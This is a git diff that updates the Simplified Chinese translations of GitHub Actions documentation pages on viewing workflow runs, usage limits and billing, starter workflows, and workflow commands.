-![Workflow overview](/assets/images/help/images/overview-actions-event.png)
+![工作流程概述](/assets/images/help/images/overview-actions-event.png)
 
 ## Viewing the workflow's activity
 
 Once your workflow has started running, you can {% ifversion fpt or ghes > 3.0 or ghae or ghec %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}.
 
 {% data reusables.repositories.navigate-to-repo %}
-1. Under your repository name, click **Actions**.
-    ![Navigate to repository](/assets/images/help/images/learn-github-actions-repository.png)
-1. In the left sidebar, click the workflow you want to see.
-    ![Screenshot of workflow results](/assets/images/help/images/learn-github-actions-workflow.png)
-1. Under "Workflow runs", click the name of the run you want to see.
-    ![Screenshot of workflow runs](/assets/images/help/images/learn-github-actions-run.png)
+1. 在仓库名称下，单击 **Actions（操作）**。 ![导航到仓库](/assets/images/help/images/learn-github-actions-repository.png)
+1. 在左侧边栏中，单击您想要查看的工作流程。 ![工作流程结果的屏幕截图](/assets/images/help/images/learn-github-actions-workflow.png)
+1. 在“Workflow runs（工作流程运行）”下，单击您想要查看的运行的名称。 ![工作流程运行的屏幕截图](/assets/images/help/images/learn-github-actions-run.png)
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-1. Under **Jobs** or in the visualization graph, click the job you want to see.
-   ![Select job](/assets/images/help/images/overview-actions-result-navigate.png)
+1. 在 **Jobs（作业）**下或可视化图中，单击您要查看的作业。 ![选择作业](/assets/images/help/images/overview-actions-result-navigate.png)
 {% endif %}
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-1. View the results of each step.
-    ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result-updated-2.png)
+1. 查看每个步骤的结果。 ![工作流程运行详细信息的屏幕截图](/assets/images/help/images/overview-actions-result-updated-2.png)
 {% elsif ghes %}
-1. Click on the job name to see the results of each step.
-    ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result-updated.png)
+1. 单击作业名称以查看每个步骤的结果。 ![工作流程运行详细信息的屏幕截图](/assets/images/help/images/overview-actions-result-updated.png)
 {% else %}
-1. Click on the job name to see the results of each step.
-    ![Screenshot of workflow run details](/assets/images/help/images/overview-actions-result.png)
+1. 单击作业名称以查看每个步骤的结果。 ![工作流程运行详细信息的屏幕截图](/assets/images/help/images/overview-actions-result.png)
 {% endif %}
 
-## Next steps
+## 后续步骤
 
-To continue learning about {% data variables.product.prodname_actions %}, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)."
+要继续了解 {% data variables.product.prodname_actions %}，请参阅“[查找和自定义操作](/actions/learn-github-actions/finding-and-customizing-actions)”。
 
 {% ifversion fpt or ghec or ghes %}
 
@@ -251,6 +244,6 @@ To understand how billing works for {% data variables.product.prodname_actions %
 
 {% endif %}
 
-## Contacting support
+## 联系支持
 
 {% data reusables.github-actions.contacting-support %}
diff --git a/translations/zh-CN/content/actions/learn-github-actions/usage-limits-billing-and-administration.md b/translations/zh-CN/content/actions/learn-github-actions/usage-limits-billing-and-administration.md
index 3b2a00be5c..73251e1496 100644
--- a/translations/zh-CN/content/actions/learn-github-actions/usage-limits-billing-and-administration.md
+++ b/translations/zh-CN/content/actions/learn-github-actions/usage-limits-billing-and-administration.md
@@ -1,6 +1,6 @@
 ---
-title: 'Usage limits, billing, and administration'
-intro: 'There are usage limits for {% data variables.product.prodname_actions %} workflows. Usage charges apply to repositories that go beyond the amount of free minutes and storage for a repository.'
+title: 使用限制、计费和管理
+intro: '{% data variables.product.prodname_actions %} 工作流程有使用限制。 使用费适用于超出仓库免费分钟数和存储空间量的仓库。'
 redirect_from:
   - /actions/getting-started-with-github-actions/usage-and-billing-information-for-github-actions
   - /actions/reference/usage-limits-billing-and-administration
@@ -10,92 +10,92 @@ versions:
   ghec: '*'
 topics:
   - Billing
-shortTitle: Workflow billing & limits
+shortTitle: 工作流程计费和限制
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About billing for {% data variables.product.prodname_actions %}
+## 关于 {% data variables.product.prodname_actions %} 的计费
 
 {% ifversion fpt or ghec %}
-{% data reusables.github-actions.actions-billing %} For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
+{% data reusables.github-actions.actions-billing %} 更多信息请参阅“[关于 {% data variables.product.prodname_actions %} 的计费](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)”。
 {% else %}
 GitHub Actions usage is free for {% data variables.product.prodname_ghe_server %}s that use self-hosted runners.
 {% endif %}
 
-## Availability
+## 可用性
 
 {% data variables.product.prodname_actions %} is available on all {% data variables.product.prodname_dotcom %} products, but {% data variables.product.prodname_actions %} is not available for private repositories owned by accounts using legacy per-repository plans. {% data reusables.gated-features.more-info %}
 
-## Usage limits
+## 使用限制
 
 {% ifversion fpt or ghec %}
-There are some limits on {% data variables.product.prodname_actions %} usage when using {% data variables.product.prodname_dotcom %}-hosted runners. These limits are subject to change.
+There are some limits on {% data variables.product.prodname_actions %} usage when using {% data variables.product.prodname_dotcom %}-hosted runners. 这些限制可能会有变动。
 
 {% note %}
 
-**Note:** For self-hosted runners, different usage limits apply. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)."
+**注：**对于自托管的运行器，适用不同的使用限制。 更多信息请参阅“[关于自托管运行器](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)”。
 
 {% endnote %}
 
-- **Job execution time** - Each job in a workflow can run for up to 6 hours of execution time. If a job reaches this limit, the job is terminated and fails to complete.
+- **作业执行时间** - 工作流程中的每个作业最多可以运行 6 个小时。 如果作业达到此限制，该作业将会终止而无法完成。
 {% data reusables.github-actions.usage-workflow-run-time %}
 {% data reusables.github-actions.usage-api-requests %}
-- **Concurrent jobs** - The number of concurrent jobs you can run in your account depends on your GitHub plan, as indicated in the following table. If exceeded, any additional jobs are queued.
+- **并发作业** - 您的帐户中可并发运行的作业数量，具体取决于您的 GitHub 计划，如下表所示。 如果超出，任何额外的作业都会排队。
 
-  | GitHub plan | Total concurrent jobs | Maximum concurrent macOS jobs |
-  |---|---|---|
-  | Free | 20 | 5 |
-  | Pro | 40 | 5 |
-  | Team | 60 | 5 |
-  | Enterprise | 180 | 50 |
-- **Job matrix** - {% data reusables.github-actions.usage-matrix-limits %}
+  | GitHub 计划 | 同时运行的作业总数 | MacOS 作业同时运行的最大数量 |
+  | --------- | --------- | ----------------- |
+  | 免费        | 20        | 5                 |
+  | Pro       | 40        | 5                 |
+  | 团队        | 60        | 5                 |
+  | 企业        | 180       | 50                |
+- **作业矩阵** - {% data reusables.github-actions.usage-matrix-limits %}
 {% data reusables.github-actions.usage-workflow-queue-limits %}
 
 {% else %}
-Usage limits apply to self-hosted runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)."
+使用限制适用于自托管运行器。 更多信息请参阅“[关于自托管运行器](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)”。
 {% endif %}
 
 {% ifversion fpt or ghec %}
-## Usage policy
+## 使用策略
 
-In addition to the usage limits, you must ensure that you use {% data variables.product.prodname_actions %} within the [GitHub Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service/). For more information on {% data variables.product.prodname_actions %}-specific terms, see the [GitHub Additional Product Terms](/free-pro-team@latest/github/site-policy/github-additional-product-terms#a-actions-usage).
+除了使用限制外，还必须确保使用 [GitHub 服务条款](/free-pro-team@latest/github/site-policy/github-terms-of-service/) 中的 {% data variables.product.prodname_actions %}。 有关 {% data variables.product.prodname_actions %} 特定条款的更多信息，请参阅 [GitHub 附加产品条款](/free-pro-team@latest/github/site-policy/github-additional-product-terms#a-actions-usage)。
 {% endif %}
 
 {% ifversion fpt or ghes > 3.3 or ghec %}
 ## Billing for reusable workflows
 
-If you reuse a workflow, billing is always associated with the caller workflow. Assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. The caller cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository. 
+If you reuse a workflow, billing is always associated with the caller workflow. Assignment of {% data variables.product.prodname_dotcom %}-hosted runners is always evaluated using only the caller's context. The caller cannot use {% data variables.product.prodname_dotcom %}-hosted runners from the called repository.
 
 For more information see, "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
 {% endif %}
 
-## Artifact and log retention policy
+## 构件和日志保留策略
 
-You can configure the artifact and log retention period for your repository, organization, or enterprise account.
+您可以为仓库、组织或企业帐户配置构件和日志保留期。
 
 {% data reusables.actions.about-artifact-log-retention %}
 
-For more information, see:
+更多信息请参阅：
 
-- "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)"
-- "[Configuring the retention period for {% data variables.product.prodname_actions %} for artifacts and logs in your organization](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)"
-- "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)"
+- “[管理仓库的 {% data variables.product.prodname_actions %} 设置](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)”
+- “[配置 {% data variables.product.prodname_actions %} 构件和日志在您的组织中的保留期](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)”
+- "[在企业中执行 {% data variables.product.prodname_actions %} 的策略](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)"
 
-## Disabling or limiting {% data variables.product.prodname_actions %} for your repository or organization
+## 禁用或限制仓库或组织的 {% data variables.product.prodname_actions %}
 
 {% data reusables.github-actions.disabling-github-actions %}
 
-For more information, see:
-- "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository)"
-- "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)"
-- "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)"
+更多信息请参阅：
+- “[管理仓库的 {% data variables.product.prodname_actions %} 设置](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository)”
+- "[对组织禁用或限制 {% data variables.product.prodname_actions %}](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)"
+- "[在企业中执行 {% data variables.product.prodname_actions %} 的策略](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)"
 
-## Disabling and enabling workflows
+## 禁用和启用工作流程
 
-You can enable and disable individual workflows in your repository on {% data variables.product.prodname_dotcom %}.
+您可以在 {% data variables.product.prodname_dotcom %} 上启用和禁用仓库中的个别工作流程。
 
 {% data reusables.actions.scheduled-workflows-disabled %}
 
-For more information, see "[Disabling and enabling a workflow](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)."
+更多信息请参阅“[禁用和启用工作流程](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)。
diff --git a/translations/zh-CN/content/actions/learn-github-actions/using-starter-workflows.md b/translations/zh-CN/content/actions/learn-github-actions/using-starter-workflows.md
new file mode 100644
index 0000000000..8f2834d1b6
--- /dev/null
+++ b/translations/zh-CN/content/actions/learn-github-actions/using-starter-workflows.md
@@ -0,0 +1,54 @@
+---
+title: Using starter workflows
+intro: '{% data variables.product.product_name %} provides starter workflows for a variety of languages and tooling.'
+redirect_from:
+  - /articles/setting-up-continuous-integration-using-github-actions
+  - /github/automating-your-workflow-with-github-actions/setting-up-continuous-integration-using-github-actions
+  - /actions/automating-your-workflow-with-github-actions/setting-up-continuous-integration-using-github-actions
+  - /actions/building-and-testing-code-with-continuous-integration/setting-up-continuous-integration-using-github-actions
+  - /actions/guides/setting-up-continuous-integration-using-workflow-templates
+  - /actions/learn-github-actions/using-workflow-templates
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Workflows
+  - CI
+  - CD
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About starter workflows
+
+{% data variables.product.product_name %} offers starter workflows for a variety of languages and tooling. When you set up workflows in your repository, {% data variables.product.product_name %} analyzes the code in your repository and recommends workflows based on the language and framework in your repository. For example, if you use [Node.js](https://nodejs.org/en/), {% data variables.product.product_name %} will suggest a starter workflow file that installs your Node.js packages and runs your tests.{% if actions-starter-template-ui %} You can search and filter to find relevant starter workflows.{% endif %}
+
+You can also create your own starter workflow to share with your organization. These starter workflows will appear alongside the {% data variables.product.product_name %}-provided starter workflows. For more information, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)."
+
+## Using starter workflows
+
+Anyone with write permission to a repository can set up {% data variables.product.prodname_actions %} starter workflows for CI/CD or other automation.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.actions-tab %}
+1. If you already have a workflow in your repository, click **New workflow**.
+1. Find the starter workflow that you want to use, then click **Set up this workflow**.{% if actions-starter-template-ui %} To help you find the starter workflow that you want, you can search for keywords or filter by category.{% endif %}
+1. If the starter workflow contains comments detailing additional setup steps, follow these steps. Many of the starter workflow have corresponding guides. For more information, see [the {% data variables.product.prodname_actions %} guides](/actions/guides)."
+1. Some starter workflows use secrets. For example, {% raw %}`${{ secrets.npm_token }}`{% endraw %}. If the starter workflow uses a secret, store the value described in the secret name as a secret in your repository. 更多信息请参阅“[加密密码](/actions/reference/encrypted-secrets)”。
+1. Optionally, make additional changes. For example, you might want to change the value of `on` to change when the workflow runs.
+1. 单击 **Start commit（开始提交）**。
+1. Write a commit message and decide whether to commit directly to the default branch or to open a pull request.
+
+## 延伸阅读
+
+- "[关于持续集成](/articles/about-continuous-integration)"
+- "[Managing workflow runs](/actions/managing-workflow-runs)"
+- "[About monitoring and troubleshooting](/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting)"
+- "[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+{% ifversion fpt or ghec %}
+- "[管理 {% data variables.product.prodname_actions %} 的计费](/billing/managing-billing-for-github-actions)"
+{% endif %}
diff --git a/translations/zh-CN/content/actions/learn-github-actions/workflow-commands-for-github-actions.md b/translations/zh-CN/content/actions/learn-github-actions/workflow-commands-for-github-actions.md
index 221421424b..3374533947 100644
--- a/translations/zh-CN/content/actions/learn-github-actions/workflow-commands-for-github-actions.md
+++ b/translations/zh-CN/content/actions/learn-github-actions/workflow-commands-for-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Workflow commands for GitHub Actions
-shortTitle: Workflow commands
-intro: You can use workflow commands when running shell commands in a workflow or in an action's code.
+title: GitHub Actions 的工作流程命令
+shortTitle: 工作流程命令
+intro: 您可以在工作流程或操作代码中运行 shell 命令时使用工作流程命令。
 redirect_from:
   - /articles/development-tools-for-github-actions
   - /github/automating-your-workflow-with-github-actions/development-tools-for-github-actions
@@ -19,11 +19,11 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About workflow commands
+## 关于工作流程命令
 
-Actions can communicate with the runner machine to set environment variables, output values used by other actions, add debug messages to the output logs, and other tasks.
+操作可以与运行器机器进行通信，以设置环境变量，其他操作使用的输出值，将调试消息添加到输出日志和其他任务。
 
-Most workflow commands use the `echo` command in a specific format, while others are invoked by writing to a file. For more information, see ["Environment files".](#environment-files)
+大多数工作流程命令使用特定格式的 `echo` 命令，而其他工作流程则通过写入文件被调用。 更多信息请参阅“[环境文件](#environment-files)”。
 
 ``` bash
 echo "::workflow-command parameter1={data},parameter2={data}::{command value}"
@@ -31,25 +31,25 @@ echo "::workflow-command parameter1={data},parameter2={data}::{command value}"
 
 {% note %}
 
-**Note:** Workflow command and parameter names are not case-sensitive.
+**注意：**工作流程命令和参数名称不区分大小写。
 
 {% endnote %}
 
 {% warning %}
 
-**Warning:** If you are using Command Prompt, omit double quote characters (`"`) when using workflow commands.
+**警告：**如果您使用命令提示符，则使用工作流程命令时忽略双引号字符 (`"`)。
 
 {% endwarning %}
 
-## Using workflow commands to access toolkit functions
+## 使用工作流程命令访问工具包函数
 
-The [actions/toolkit](https://github.com/actions/toolkit) includes a number of functions that can be executed as workflow commands. Use the `::` syntax to run the workflow commands within your YAML file; these commands are then sent to the runner over `stdout`. For example, instead of using code to set an output, as below:
+[actions/toolkit](https://github.com/actions/toolkit) 包括一些可以作为工作流程命令执行的功能。 使用 `::` 语法来运行您的 YAML 文件中的工作流程命令；然后，通过 `stdout` 将这些命令发送给运行器。 例如，不使用代码来设置环境变量，如下所示：
 
 ```javascript
 core.setOutput('SELECTED_COLOR', 'green');
 ```
 
-You can use the `set-output` command in your workflow to set the same value:
+您可以在工作流程中使用 `set-output` 命令来设置相同的值：
 
 {% raw %}
 ``` yaml
@@ -61,52 +61,53 @@ You can use the `set-output` command in your workflow to set the same value:
 ```
 {% endraw %}
 
-The following table shows which toolkit functions are available within a workflow:
+下表显示了在工作流程中可用的工具包功能：
 
-| Toolkit function | Equivalent workflow command |
-| ----------------- |  ------------- |
-| `core.addPath`    | Accessible using environment file `GITHUB_PATH` |
-| `core.debug`      | `debug` |{% ifversion fpt or ghes > 3.2 or ghae-issue-4929 or ghec %}
-| `core.notice`     | `notice` |{% endif %}
-| `core.error`      | `error` |
-| `core.endGroup`   | `endgroup` |
-| `core.exportVariable` | Accessible using environment file `GITHUB_ENV` |
-| `core.getInput`   | Accessible using environment variable `INPUT_{NAME}` |
-| `core.getState`   | Accessible using environment variable `STATE_{NAME}` |
-| `core.isDebug`    |  Accessible using environment variable `RUNNER_DEBUG` |
-| `core.saveState`  | `save-state` |
-| `core.setCommandEcho` | `echo` |
-| `core.setFailed`  | Used as a shortcut for `::error` and `exit 1` |
-| `core.setOutput`  | `set-output` |
-| `core.setSecret`  | `add-mask` |
-| `core.startGroup` | `group` |
-| `core.warning`    | `warning` |
+| 工具包函数                 | 等效工作流程命令                                                              |
+| --------------------- | --------------------------------------------------------------------- |
+| `core.addPath`        | Accessible using environment file `GITHUB_PATH`                       |
+| `core.debug`          | `debug` |{% ifversion fpt or ghes > 3.2 or ghae-issue-4929 or ghec %}
+| `core.notice`         | `notice` 
+{% endif %}
+| `core.error`          | `error`                                                               |
+| `core.endGroup`       | `endgroup`                                                            |
+| `core.exportVariable` | Accessible using environment file `GITHUB_ENV`                        |
+| `core.getInput`       | 可使用环境变量 `INPUT_{NAME}` 访问                                             |
+| `core.getState`       | 可使用环境变量 `STATE_{NAME}` 访问                                             |
+| `core.isDebug`        | 可使用环境变量 `RUNNER_DEBUG` 访问                                             |
+| `core.saveState`      | `save-state`                                                          |
+| `core.setCommandEcho` | `echo`                                                                |
+| `core.setFailed`      | 用作 `::error` 和 `exit 1` 的快捷方式                                         |
+| `core.setOutput`      | `set-output`                                                          |
+| `core.setSecret`      | `add-mask`                                                            |
+| `core.startGroup`     | `组`                                                                   |
+| `core.warning`        | `警告`                                                                  |
 
-## Setting an output parameter
+## 设置输出参数
 
 ```
 ::set-output name={name}::{value}
 ```
 
-Sets an action's output parameter.
+设置操作的输出参数。
 
-Optionally, you can also declare output parameters in an action's metadata file. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions#outputs)."
+（可选）您也可以在操作的元数据文件中声明输出参数。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的元数据语法](/articles/metadata-syntax-for-github-actions#outputs)”。
 
-### Example
+### 示例
 
 ``` bash
 echo "::set-output name=action_fruit::strawberry"
 ```
 
-## Setting a debug message
+## 设置调试消息
 
 ```
 ::debug::{message}
 ```
 
-Prints a debug message to the log. You must create a secret named `ACTIONS_STEP_DEBUG` with the value `true` to see the debug messages set by this command in the log. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging)."
+将调试消息打印到日志。 您可以创建名为 `ACTIONS_STEP_DEBUG`、值为 `true` 的密码，才能在日志中查看通过此命令设置的调试消息。 更多信息请参阅“[启用调试日志记录](/actions/managing-workflow-runs/enabling-debug-logging)”。
 
-### Example
+### 示例
 
 ``` bash
 echo "::debug::Set the Octocat variable"
@@ -114,17 +115,17 @@ echo "::debug::Set the Octocat variable"
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4929 or ghec %}
 
-## Setting a notice message
+## 设置通知消息
 
 ```
 ::notice file={name},line={line},endLine={endLine},title={title}::{message}
 ```
 
-Creates a notice message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %}
+创建通知消息并将该消息打印到日志。 {% data reusables.actions.message-annotation-explanation %}
 
 {% data reusables.actions.message-parameters %}
 
-### Example
+### 示例
 
 ``` bash
 echo "::notice file=app.js,line=1,col=5,endColumn=7::Missing semicolon"
@@ -132,48 +133,48 @@ echo "::notice file=app.js,line=1,col=5,endColumn=7::Missing semicolon"
 
 {% endif %}
 
-## Setting a warning message
+## 设置警告消息
 
 ```
 ::warning file={name},line={line},endLine={endLine},title={title}::{message}
 ```
 
-Creates a warning message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %}
+创建警告消息并将该消息打印到日志。 {% data reusables.actions.message-annotation-explanation %}
 
 {% data reusables.actions.message-parameters %}
 
-### Example
+### 示例
 
 ``` bash
 echo "::warning file=app.js,line=1,col=5,endColumn=7::Missing semicolon"
 ```
 
-## Setting an error message
+## 设置错误消息
 
 ```
 ::error file={name},line={line},endLine={endLine},title={title}::{message}
 ```
 
-Creates an error message and prints the message to the log. {% data reusables.actions.message-annotation-explanation %}
+创建错误消息并将该消息打印到日志。 {% data reusables.actions.message-annotation-explanation %}
 
 {% data reusables.actions.message-parameters %}
 
-### Example
+### 示例
 
 ``` bash
 echo "::error file=app.js,line=1,col=5,endColumn=7::Missing semicolon"
 ```
 
-## Grouping log lines
+## 对日志行分组
 
 ```
 ::group::{title}
 ::endgroup::
 ```
 
-Creates an expandable group in the log. To create a group, use the `group` command and specify a `title`. Anything you print to the log between the `group` and `endgroup` commands is nested inside an expandable entry in the log.
+在日志中创建一个可扩展的组。 要创建组，请使用 `group` 命令并指定 `title`。 打印到 `group` 与 `endgroup` 命令之间日志的任何内容都会嵌套在日志中可扩展的条目内。
 
-### Example
+### 示例
 
 ```bash
 echo "::group::My title"
@@ -181,44 +182,44 @@ echo "Inside group"
 echo "::endgroup::"
 ```
 
-![Foldable group in workflow run log](/assets/images/actions-log-group.png)
+![工作流运行日志中的可折叠组](/assets/images/actions-log-group.png)
 
-## Masking a value in log
+## 在日志中屏蔽值
 
 ```
 ::add-mask::{value}
 ```
 
-Masking a value prevents a string or variable from being printed in the log. Each masked word separated by whitespace is replaced with the `*` character. You can use an environment variable or string for the mask's `value`.
+屏蔽值可阻止在日志中打印字符串或变量。 用空格分隔的每个屏蔽的词均替换为 `*` 字符。 您可以使用环境变量或字符串作为屏蔽的 `value`。
 
-### Example masking a string
+### 屏蔽字符串的示例
 
-When you print `"Mona The Octocat"` in the log, you'll see `"***"`.
+当您在日志中打印 `"Mona The Octocat"` 时，您将看到 `"***"`。
 
 ```bash
 echo "::add-mask::Mona The Octocat"
 ```
 
-### Example masking an environment variable
+### 屏蔽环境变量的示例
 
-When you print the variable `MY_NAME` or the value `"Mona The Octocat"` in the log, you'll see `"***"` instead of `"Mona The Octocat"`.
+当您在日志中打印变量 `MY_NAME` 或值 `"Mona The Octocat"` 时，您将看到 `"***"` 而不是 `"Mona The Octocat"`。
 
 ```bash
 MY_NAME="Mona The Octocat"
 echo "::add-mask::$MY_NAME"
 ```
 
-## Stopping and starting workflow commands
+## 停止和启动工作流程命令
 
 `::stop-commands::{endtoken}`
 
-Stops processing any workflow commands. This special command allows you to log anything without accidentally running a workflow command. For example, you could stop logging to output an entire script that has comments.
+停止处理任何工作流程命令。 此特殊命令可让您记录任何内容而不会意外运行工作流程命令。 例如，您可以停止记录以输出带有注释的整个脚本。
 
-To stop the processing of workflow commands, pass a unique token to `stop-commands`. To resume processing workflow commands, pass the same token that you used to stop workflow commands.
+要停止处理工作流程命令，请将唯一的令牌传递给 `stop-commands`。 要继续处理工作流程命令，请传递用于停止工作流程命令的同一令牌。
 
 {% warning %}
 
-**Warning:** Make sure the token you're using is randomly generated and unique for each run. As demonstrated in the example below, you can generate a unique hash of your `github.token` for each run.
+**警告：** 请确保您使用的令牌是随机生成的，且对每次运行唯一。 如下面的示例所示，您可以为每次运行生成 `github.token` 的唯一哈希值。
 
 {% endwarning %}
 
@@ -226,7 +227,7 @@ To stop the processing of workflow commands, pass a unique token to `stop-comman
 ::{endtoken}::
 ```
 
-### Example stopping and starting workflow commands
+### 停止和启动工作流程命令的示例
 
 {% raw %}
 
@@ -286,33 +287,33 @@ The step above prints the following lines to the log:
 
 Only the second `set-output` and `echo` workflow commands are included in the log because command echoing was only enabled when they were run. Even though it is not always echoed, the output parameter is set in all cases.
 
-## Sending values to the pre and post actions
+## 将值发送到 pre 和 post 操作
 
-You can use the `save-state` command to create environment variables for sharing with your workflow's `pre:` or `post:` actions. For example, you can create a file with the `pre:` action,  pass the file location to the `main:` action, and then use the `post:` action to delete the file. Alternatively, you could create a file with the `main:` action, pass the file location to the `post:` action, and also use the `post:` action to delete the file.
+您可以使用 `save-state` 命令来创建环境变量，以便与工作流程的 `pre:` 或 `post:` 操作共享。 例如，您可以使用 `pre:` 操作创建文件，将该文件位置传给 `main:` 操作，然后使用 `post:` 操作删除文件。 或者，您可以使用 `main:` 操作创建文件，将该文件位置传给 `post:` 操作，然后使用 `post:` 操作删除文件。
 
-If you have multiple `pre:` or `post:` actions, you can only access the saved value in the action where `save-state` was used. For more information on the `post:` action, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#post)."
+如果您有多个 `pre:` 或 `post:` 操作，则只能访问使用了 `save-state` 的操作中的已保存值。 有关 `post:` 操作的更多信息，请参阅“[{% data variables.product.prodname_actions %} 的元数据语法](/actions/creating-actions/metadata-syntax-for-github-actions#post)”。
 
-The `save-state`  command can only be run within an action, and is not available to YAML files. The saved value is stored as an environment value with the `STATE_` prefix.
+`save-state` 命令只能在操作内运行，并且对 YAML 文件不可用。 保存的值将作为环境值存储，带 `STATE_` 前缀。
 
-This example uses JavaScript to run the `save-state` command. The resulting environment variable is named `STATE_processID` with the value of `12345`:
+此示例使用 JavaScript 运行 `save-state` 命令。 由此生成的环境变量被命名为 `STATE_processID`，带 `12345` 的值：
 
 ``` javascript
 console.log('::save-state name=processID::12345')
 ```
 
-The `STATE_processID` variable is then exclusively available to the cleanup script running under the `main` action. This example runs in `main` and uses JavaScript to display the value assigned to the `STATE_processID` environment variable:
+然后，`STATE_processID` 变量将仅可被用于 `main` 操作下运行的清理脚本。 此示例在 `main` 中运行，并使用 JavaScript 显示分配给 `STATE_processID` 环境变量的值：
 
 ``` javascript
 console.log("The running PID from the main action is: " +  process.env.STATE_processID);
 ```
 
-## Environment Files
+## 环境文件
 
-During the execution of a workflow, the runner generates temporary files that can be used to perform certain actions. The path to these files are exposed via environment variables. You will need to use UTF-8 encoding when writing to these files to ensure proper processing of the commands. Multiple commands can be written to the same file, separated by newlines.
+在工作流程执行期间，运行器生成可用于执行某些操作的临时文件。 这些文件的路径通过环境变量显示。 写入这些文件时，您需要使用 UTF-8 编码，以确保正确处理命令。 多个命令可以写入同一个文件，用换行符分隔。
 
 {% warning %}
 
-**Warning:** On Windows, legacy PowerShell (`shell: powershell`) does not use UTF-8 by default. Make sure you write files using the correct encoding. For example, you need to set UTF-8 encoding when you set the path:
+**Warning:** On Windows, legacy PowerShell (`shell: powershell`) does not use UTF-8 by default. 请确保使用正确的编码写入文件。 例如，在设置路径时需要设置 UTF-8 编码：
 
 ```yaml
 jobs:
@@ -323,7 +324,7 @@ jobs:
         run: echo "mypath" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
 ```
 
-Or switch to PowerShell Core, which defaults to UTF-8: 
+Or switch to PowerShell Core, which defaults to UTF-8:
 
 ```yaml
 jobs:
@@ -337,17 +338,18 @@ jobs:
 More detail about UTF-8 and PowerShell Core found on this great [Stack Overflow answer](https://stackoverflow.com/a/40098904/162694):
 
 > ### Optional reading: The cross-platform perspective: PowerShell _Core_:
-> [PowerShell is now cross-platform](https://blogs.msdn.microsoft.com/powershell/2016/08/18/powershell-on-linux-and-open-source-2/), via its **[PowerShell _Core_](https://github.com/PowerShell/PowerShell)** edition, whose encoding - sensibly - **defaults to *BOM-less UTF-8***, in line with Unix-like platforms.  
+> 
+> [PowerShell is now cross-platform](https://blogs.msdn.microsoft.com/powershell/2016/08/18/powershell-on-linux-and-open-source-2/), via its **[PowerShell _Core_](https://github.com/PowerShell/PowerShell)** edition, whose encoding - sensibly - ***defaults to ***BOM-less UTF-8******, in line with Unix-like platforms.
 
 {% endwarning %}
 
-## Setting an environment variable
+## 设置环境变量
 
 ``` bash
 echo "{name}={value}" >> $GITHUB_ENV
 ```
 
